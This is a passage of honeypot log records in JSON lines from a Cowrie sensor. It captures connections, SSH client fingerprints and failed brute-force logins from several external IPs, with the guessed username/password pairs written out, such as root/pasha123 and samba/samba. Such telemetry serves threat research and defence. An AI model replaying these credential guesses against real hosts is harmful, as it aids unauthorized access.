0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:35:03.493844Z","src_ip":"31.40.204.166","session":"46a40934a129","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lighthouse","password":"123456","message":"login attempt [lighthouse/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:35:03.995807Z","src_ip":"31.40.204.166","session":"46a40934a129","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.748507499694824,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:35:04.257019Z","src_ip":"152.42.224.71","session":"18aed0f4668a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:35:05.122824Z","src_ip":"31.40.204.166","session":"46a40934a129","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.197.250","src_port":52062,"dst_ip":"159.203.135.109","dst_port":22,"session":"b1fcf9b5eac1","protocol":"ssh","message":"New connection: 147.45.197.250:52062 (159.203.135.109:22) [session: b1fcf9b5eac1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:35:07.110664Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:35:07.117793Z","src_ip":"147.45.197.250","session":"b1fcf9b5eac1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:35:07.207766Z","src_ip":"147.45.197.250","session":"b1fcf9b5eac1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pasha123","message":"login attempt [root/pasha123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:35:07.481908Z","src_ip":"147.45.197.250","session":"b1fcf9b5eac1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.41088628768921,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:35:08.184240Z","src_ip":"152.42.224.71","session":"09bbd3c3ecb4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:35:08.574603Z","src_ip":"147.45.197.250","session":"b1fcf9b5eac1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54286,"dst_ip":"10.17.0.5","dst_port":23,"session":"f6ce4a2007ce","protocol":"telnet","message":"New connection: 152.42.224.71:54286 (10.17.0.5:23) [session: f6ce4a2007ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:35:10.406681Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54302,"dst_ip":"10.17.0.5","dst_port":23,"session":"245c86b0c8f3","protocol":"telnet","message":"New connection: 152.42.224.71:54302 (10.17.0.5:23) [session: 245c86b0c8f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:35:12.485839Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":39754,"dst_ip":"159.203.135.109","dst_port":22,"session":"273f061a6496","protocol":"ssh","message":"New connection: 31.40.204.166:39754 (159.203.135.109:22) [session: 273f061a6496]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:35:14.914254Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:35:14.919771Z","src_ip":"31.40.204.166","session":"273f061a6496","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:35:15.089291Z","src_ip":"31.40.204.166","session":"273f061a6496","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"installer","password":"12345","message":"login attempt [installer/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:35:15.608974Z","src_ip":"31.40.204.166","session":"273f061a6496","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:35:16.792703Z","src_ip":"31.40.204.166","session":"273f061a6496","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"179.176.210.17","src_port":49621,"dst_ip":"10.17.0.5","dst_port":22,"session":"2fb7336d6928","protocol":"ssh","message":"New connection: 179.176.210.17:49621 (10.17.0.5:22) [session: 2fb7336d6928]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:35:20.220555Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:35:20.226702Z","src_ip":"179.176.210.17","session":"2fb7336d6928","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:35:20.379238Z","src_ip":"179.176.210.17","session":"2fb7336d6928","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mc","password":"mc1234","message":"login attempt [mc/mc1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:35:21.019458Z","src_ip":"179.176.210.17","session":"2fb7336d6928","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43290,"dst_ip":"10.17.0.5","dst_port":23,"session":"8843ea230177","protocol":"telnet","message":"New connection: 152.42.224.71:43290 (10.17.0.5:23) [session: 8843ea230177]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:35:21.723973Z"}
{"eventid":"cowrie.session.closed","duration":23.604037046432495,"message":"Connection lost after 23 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:35:21.737548Z","src_ip":"152.42.224.71","session":"d7ba5575ee81","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:35:22.174152Z","src_ip":"179.176.210.17","session":"2fb7336d6928","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.67386770248413,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:35:22.340267Z","src_ip":"152.42.224.71","session":"00ed9c79f9bb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":10.382450103759766,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:35:22.868134Z","src_ip":"152.42.224.71","session":"245c86b0c8f3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":29.284753799438477,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:35:25.919485Z","src_ip":"152.42.224.71","session":"6e918e16c29a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43538,"dst_ip":"10.17.0.5","dst_port":23,"session":"f72bdcd24e86","protocol":"telnet","message":"New connection: 152.42.224.71:43538 (10.17.0.5:23) [session: f72bdcd24e86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:35:25.985622Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":35802,"dst_ip":"159.203.135.109","dst_port":22,"session":"39160fe7cb1d","protocol":"ssh","message":"New connection: 31.40.204.166:35802 (159.203.135.109:22) [session: 39160fe7cb1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:35:26.785430Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:35:26.789783Z","src_ip":"31.40.204.166","session":"39160fe7cb1d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:35:26.918704Z","src_ip":"31.40.204.166","session":"39160fe7cb1d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test@123","message":"login attempt [root/test@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:35:27.516668Z","src_ip":"31.40.204.166","session":"39160fe7cb1d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:35:28.693376Z","src_ip":"31.40.204.166","session":"39160fe7cb1d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43548,"dst_ip":"10.17.0.5","dst_port":23,"session":"caf94fca7554","protocol":"telnet","message":"New connection: 152.42.224.71:43548 (10.17.0.5:23) [session: caf94fca7554]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:35:34.011728Z"}
{"eventid":"cowrie.session.closed","duration":49.377967834472656,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:35:36.044121Z","src_ip":"152.42.224.71","session":"4a2a0a18d792","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":57944,"dst_ip":"159.203.135.109","dst_port":22,"session":"0a5b2ba64bfa","protocol":"ssh","message":"New connection: 31.40.204.166:57944 (159.203.135.109:22) [session: 0a5b2ba64bfa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:35:38.222313Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:35:38.226044Z","src_ip":"31.40.204.166","session":"0a5b2ba64bfa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:35:38.405038Z","src_ip":"31.40.204.166","session":"0a5b2ba64bfa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58030,"dst_ip":"10.17.0.5","dst_port":23,"session":"a99dbff9cd85","protocol":"telnet","message":"New connection: 152.42.224.71:58030 (10.17.0.5:23) [session: a99dbff9cd85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:35:38.907154Z"}
{"eventid":"cowrie.login.failed","username":"samba","password":"samba","message":"login attempt [samba/samba] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:35:38.913064Z","src_ip":"31.40.204.166","session":"0a5b2ba64bfa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:35:40.090555Z","src_ip":"31.40.204.166","session":"0a5b2ba64bfa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58032,"dst_ip":"10.17.0.5","dst_port":23,"session":"055e37c52ba2","protocol":"telnet","message":"New connection: 152.42.224.71:58032 (10.17.0.5:23) [session: 055e37c52ba2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:35:42.621914Z"}
{"eventid":"cowrie.session.closed","duration":46.34357666969299,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:35:43.981759Z","src_ip":"152.42.224.71","session":"c0a284fd2dd3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":59882,"dst_ip":"159.203.135.109","dst_port":22,"session":"8564db33d709","protocol":"ssh","message":"New connection: 103.77.242.62:59882 (159.203.135.109:22) [session: 8564db33d709]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:35:44.938782Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:35:44.943643Z","src_ip":"103.77.242.62","session":"8564db33d709","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58036,"dst_ip":"10.17.0.5","dst_port":23,"session":"9f16ea887751","protocol":"telnet","message":"New connection: 152.42.224.71:58036 (10.17.0.5:23) [session: 9f16ea887751]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:35:44.947942Z"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:35:45.182707Z","src_ip":"103.77.242.62","session":"8564db33d709","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345671","message":"login attempt [root/12345671] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:35:45.898231Z","src_ip":"103.77.242.62","session":"8564db33d709","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00223755836487,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:35:46.815634Z","src_ip":"152.42.224.71","session":"7a55ac3fccc7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:35:47.139382Z","src_ip":"103.77.242.62","session":"8564db33d709","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":58372,"dst_ip":"159.203.135.109","dst_port":22,"session":"81d88bd38a21","protocol":"ssh","message":"New connection: 31.40.204.166:58372 (159.203.135.109:22) [session: 81d88bd38a21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:35:50.431551Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:35:50.436068Z","src_ip":"31.40.204.166","session":"81d88bd38a21","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@